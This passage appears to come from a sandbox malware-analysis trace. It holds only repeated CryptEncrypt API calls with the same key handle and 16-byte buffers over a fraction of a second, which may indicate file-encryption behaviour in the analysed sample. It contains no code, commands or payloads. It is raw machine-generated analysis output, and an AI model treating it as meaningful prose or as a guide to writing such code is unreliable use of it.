pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.995] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.995] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.995] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.996] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.997] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.997] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.997] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.997] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.997] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.997] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.997] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.997] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.997] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.997] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.997] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.997] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.997] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.997] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.997] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.997] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.997] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.997] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.997] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.998] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.998] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.998] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.998] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.998] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.998] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.998] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.998] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.998] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.998] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.998] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.998] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.998] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.998] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.998] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.998] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.998] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.999] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.999] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.999] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.999] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.999] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.999] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.999] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.999] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.999] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.999] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.999] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.999] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.999] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.999] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.999] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.999] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.999] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.999] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.999] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.999] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.999] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0162.999] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.000] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.000] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.000] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.000] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.000] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.000] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.000] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.000] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.000] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.000] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.000] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.000] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.000] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.000] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.000] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.046] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.046] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.047] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.047] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.047] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.047] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.047] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.047] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.047] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.047] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.047] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.047] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.047] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, 